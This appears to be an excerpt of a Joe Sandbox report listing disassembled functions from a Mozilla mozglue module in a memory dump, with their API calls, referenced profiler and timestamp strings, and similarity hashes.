Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2EE60
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EE6D
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CD2EEA5
CloseHandle.KERNEL32(?), ref: 6CD2EEB4
free.MOZGLUE(00000000), ref: 6CD2EEBB
GetCurrentThreadId.KERNEL32 ref: 6CD2EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2EECF

Part of subcall function 6CD2DE60: GetCurrentThreadId.KERNEL32 ref: 6CD2DE73
Part of subcall function 6CD2DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CCF4A68), ref: 6CD2DE7B
Part of subcall function 6CD2DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CCF4A68), ref: 6CD2DEB8
Part of subcall function 6CD2DE60: free.MOZGLUE(00000000,?,6CCF4A68), ref: 6CD2DEFE
Part of subcall function 6CD2DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CD2DF38

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

GetCurrentThreadId.KERNEL32 ref: 6CD2EF1E
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EF2B
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EF59
GetCurrentThreadId.KERNEL32 ref: 6CD2EFB0
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EFBD
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EFE1
GetCurrentThreadId.KERNEL32 ref: 6CD2EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2F000

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CD2F02F

Part of subcall function 6CD2F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CD2F09B
Part of subcall function 6CD2F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CD2F0AC
Part of subcall function 6CD2F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CD2F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CD2F008
[I %d/%d] profiler_stop, xrefs: 6CD2EED7

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 8cf2dbf4f57c82ab70448569f983c7c891057b97eb40ddfad32f278a27645d8f
Instruction ID: d387acc7264bc416c3af5e2a3cd246eb6b6a22b5cdf6cfaada70f21696411c2a
Opcode Fuzzy Hash: 8cf2dbf4f57c82ab70448569f983c7c891057b97eb40ddfad32f278a27645d8f
Instruction Fuzzy Hash: 7E51A135604610EFFB005B66D4087B57BBCEB4631DF100569EB1583FA1DB79A808C7B6

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF5E9D

Part of subcall function 6CD05B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CD056EE,?,00000001), ref: 6CD05B85
Part of subcall function 6CD05B50: EnterCriticalSection.KERNEL32(6CD6F688,?,?,?,6CD056EE,?,00000001), ref: 6CD05B90
Part of subcall function 6CD05B50: LeaveCriticalSection.KERNEL32(6CD6F688,?,?,?,6CD056EE,?,00000001), ref: 6CD05BD8
Part of subcall function 6CD05B50: GetTickCount64.KERNEL32 ref: 6CD05BE4

GetCurrentThreadId.KERNEL32 ref: 6CCF5EAB
GetCurrentThreadId.KERNEL32 ref: 6CCF5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CCF6017

Part of subcall function 6CCE4310: moz_xmalloc.MOZGLUE(00000010,?,6CCE42D2), ref: 6CCE436A
Part of subcall function 6CCE4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CCE42D2), ref: 6CCE4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CCF5F47
GetCurrentProcess.KERNEL32 ref: 6CCF5F53
GetCurrentThread.KERNEL32 ref: 6CCF5F5C
GetCurrentProcess.KERNEL32 ref: 6CCF5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CCF5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CCF5F27

Part of subcall function 6CCFCA10: mozalloc_abort.MOZGLUE(?), ref: 6CCFCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF55E1), ref: 6CCF5E8C

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF55E1), ref: 6CCF605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF55E1), ref: 6CCF60CC

Strings

GeckoMain, xrefs: 6CCF5ECE, 6CCF6015

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: bc7a1c7493390c82f9d8d2b8a4d43098ab25e31b4d2c2569b0a7cc6e1c95af7b
Instruction ID: 7a9d20a1d1680c17c303b5439c02366afbfbfcde6d39cc56fca25a10b25c82d9
Opcode Fuzzy Hash: bc7a1c7493390c82f9d8d2b8a4d43098ab25e31b4d2c2569b0a7cc6e1c95af7b
Instruction Fuzzy Hash: 377126B0604740DFE740DF29C480A6ABBF0FF5A304F14496DE59687B52E730E949CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCE31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CCE3217
Part of subcall function 6CCE31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CCE3236
Part of subcall function 6CCE31C0: FreeLibrary.KERNEL32 ref: 6CCE324B
Part of subcall function 6CCE31C0: __Init_thread_footer.LIBCMT ref: 6CCE3260
Part of subcall function 6CCE31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CCE327F
Part of subcall function 6CCE31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CCE328E
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CCE32AB
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CCE32D1
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CCE32E5
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CCE32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CCF9675
__Init_thread_footer.LIBCMT ref: 6CCF9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CCF96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CCF9707
__Init_thread_footer.LIBCMT ref: 6CCF971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CCF9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CCF97B7
FreeLibrary.KERNEL32 ref: 6CCF97D0
FreeLibrary.KERNEL32 ref: 6CCF97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CCF9824

Strings

NtMapViewOfSection, xrefs: 6CCF9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CCF9670
MapViewOfFileNuma2, xrefs: 6CCF97B1
ntdll.dll, xrefs: 6CCF96E3

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0b05d8cf2dedb9b19dd140f5a2158e781778df5744ae0eb39290a3cd4a71b25c
Instruction ID: 6c1fa2982822c793051a4b508fa3cd462bc55fddd6208c72ec8f1f9547a1c18d
Opcode Fuzzy Hash: 0b05d8cf2dedb9b19dd140f5a2158e781778df5744ae0eb39290a3cd4a71b25c
Instruction Fuzzy Hash: 7161E771704705ABEF00DF66D884BAA7BB8FF4A314F144529EA2587B90E730D859CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD46660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CD6F618), ref: 6CD46694
GetThreadId.KERNEL32(?), ref: 6CD466B1
GetCurrentThreadId.KERNEL32 ref: 6CD466B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CD466E1
EnterCriticalSection.KERNEL32(6CD6F618), ref: 6CD46734
GetCurrentProcess.KERNEL32 ref: 6CD4673A
LeaveCriticalSection.KERNEL32(6CD6F618), ref: 6CD4676C
GetCurrentThread.KERNEL32 ref: 6CD467FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CD46868
RtlCaptureContext.NTDLL ref: 6CD4687F

Strings

WalkStack64, xrefs: 6CD46890

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 091b89a8cb6a943db9f9aa476b355687b1ffc7def8cb3b56322907337f5e4fc5
Instruction ID: b802aa31709495844ca0701e65df85899685fbf7fc13671b3662a756018a7d11
Opcode Fuzzy Hash: 091b89a8cb6a943db9f9aa476b355687b1ffc7def8cb3b56322907337f5e4fc5
Instruction Fuzzy Hash: 18517D71A09301AFE711DF25C84475EBBF4BF89714F00892DF69987A60D770D509CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2DE73
GetCurrentThreadId.KERNEL32 ref: 6CD2DF7D
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2DF8A
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2DFC9
GetCurrentThreadId.KERNEL32 ref: 6CD2DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CCF4A68), ref: 6CD2DE7B

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CCF4A68), ref: 6CD2DEB8
free.MOZGLUE(00000000,?,6CCF4A68), ref: 6CD2DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CD2DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CD2DE83
<none>, xrefs: 6CD2DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CD2E00E

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: eba164ca23056916393a4344f24a6d3f7d22f67887bc8d8b93735f5df70c511f
Instruction ID: 96f0b13a2e149e6f728c4f4682e221b5c6d82e25757fead132ba8c0147495524
Opcode Fuzzy Hash: eba164ca23056916393a4344f24a6d3f7d22f67887bc8d8b93735f5df70c511f
Instruction Fuzzy Hash: F341D371B056109BEB209F66D8047BA77B9EF4630CF140019EB0597F61CB79A809CBF6

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD3D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D52A
GetCurrentThreadId.KERNEL32 ref: 6CD3D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D55F
free.MOZGLUE(00000000), ref: 6CD3D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CD3D5D3
GetCurrentThreadId.KERNEL32 ref: 6CD3D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D652
GetCurrentThreadId.KERNEL32 ref: 6CD3D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D6A2

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: d9621eb39387c61f34e5e730a2c3388357b5ac2115981a7bca6f7bcc5d752c7c
Instruction ID: 9b66c2b77c13c31246b4d856c4c487b91e4e0d41058f254cce98fb58f629efc2
Opcode Fuzzy Hash: d9621eb39387c61f34e5e730a2c3388357b5ac2115981a7bca6f7bcc5d752c7c
Instruction Fuzzy Hash: 60517F71604705EFD704DF35C484A9ABBB8FF8A358F00962EE95A87761DB30E445CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD05670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CD056D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CD056E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CD056F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CD05744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CD057BC
GetTickCount64.KERNEL32 ref: 6CD058CB
EnterCriticalSection.KERNEL32(6CD6F688), ref: 6CD058F3
__aulldiv.LIBCMT ref: 6CD05945
LeaveCriticalSection.KERNEL32(6CD6F688), ref: 6CD059B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CD6F638,?,?,?,?), ref: 6CD059E9

Strings

MOZ_APP_RESTART, xrefs: 6CD056CC

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: db1c87e97889b794a70ced0dfe5091c0ac5ff665ea972de934b1c5b3fc965d5c
Instruction ID: 72a765ae6cba8869e3abad5b81ff1b647055843485d6ee90f6304c4d0a7770b4
Opcode Fuzzy Hash: db1c87e97889b794a70ced0dfe5091c0ac5ff665ea972de934b1c5b3fc965d5c
Instruction Fuzzy Hash: 9DC18D71A08B40DFEB05CF6DC44066ABBF5BFCA714F058A1DE9C497660E770A885CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2EC8C

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

GetCurrentThreadId.KERNEL32 ref: 6CD2ECA1
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CD2ECC5
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CD2ED19
CloseHandle.KERNEL32(?), ref: 6CD2ED28
free.MOZGLUE(00000000), ref: 6CD2ED2F
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CD2EC94

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 55a11852d460fa70712d198559ca3bb0c5c91ec44a551fe9a429d68e4738c1de
Instruction ID: da7981745ad8bf5a51949ca8099c16b52f0bee68aec455f32b9e7516f58d5c02
Opcode Fuzzy Hash: 55a11852d460fa70712d198559ca3bb0c5c91ec44a551fe9a429d68e4738c1de
Instruction Fuzzy Hash: 9A21B475600504ABEB009F66D808BAA377DEB4626DF104214FF1457FA1DB79A80ACBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD28ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CCEEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCEEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CD2B392,?,?,00000001), ref: 6CD291F4

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

Strings

timeline-ipc, xrefs: 6CD29096
marker-table, xrefs: 6CD2906C
timeline-memory, xrefs: 6CD29088
timeline-fileio, xrefs: 6CD290A4
stack-chart, xrefs: 6CD290B2
data, xrefs: 6CD290E8
marker-chart, xrefs: 6CD2905E
name, xrefs: 6CD28F16
timeline-overview, xrefs: 6CD2907A

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f9d5a768cb75b86ffce35225849716ea15fc2fad5af69738988ff7a004f4c4fa
Instruction ID: 7a972cac228535397182a06881646d1dcfbb26a804aaa226e0bb20e7a3c508f6
Opcode Fuzzy Hash: f9d5a768cb75b86ffce35225849716ea15fc2fad5af69738988ff7a004f4c4fa
Instruction Fuzzy Hash: A2B104B0A002099BDF04CF95C9917EEBBB5BF8430CF604029D602ABFA0D775A945CBE1

Uniqueness

Uniqueness Score: -1.00%

